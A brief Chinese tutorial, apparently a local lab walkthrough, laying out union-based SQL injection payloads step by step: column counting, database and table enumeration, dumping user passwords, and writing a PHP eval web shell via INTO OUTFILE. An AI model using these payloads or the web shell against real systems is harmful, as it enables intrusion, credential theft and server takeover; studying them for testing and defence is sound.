web滲透——SQL注入漏洞攻擊步驟
注入思想:
1、找到注入點:判斷是否有漏洞,尋找插入位置
2、構造注入語句,並在注入點注入形成新的SQL語句
3、新形成的SQL語句提交資料庫處理
4、資料庫執行新的SQL語句,引發注入攻擊
操作流程
1、尋找注入點:
2、爆出列數:
http://127.0.0.1/sql/1/?id=1'+ORDER+BY+4 --+
http://127.0.0.1/sql/1/?id=1'+ORDER+BY+5 --+
3、一次性顯示資料庫名稱、版本號:
http://127.0.0.1/sql/1/?id=1'+UNION+ALL+SELECT+1,2,3,4 --+
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4 --+
4、獲取庫名:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4 --+
5、獲取表名:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7365637572697479),4 --+
6、獲取列名:
http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3,4--+
7、獲取使用者資料資訊:
http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT 1,(SELECT+GROUP_CONCAT(id,username,password,lei+SEPARATOR+0x3c62723e)+FROM+security.users),3,4--+
8、Getshell:
http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,3,"<?php @eval($_POST['as']); ?>" into outfile "D://Study SoftWare//phpstudy//PHPTutorial//WWW//webshell123.php" --+
這種情況下,是phpstudy的檔案許可權只可讀;在資料庫配置檔案my.ini中的[mysqld]模組中插入secure_file_priv="D:/StudySoftWare/phpstudy/PHPTutorial/WWW"即可,其中絕對路徑可以修改。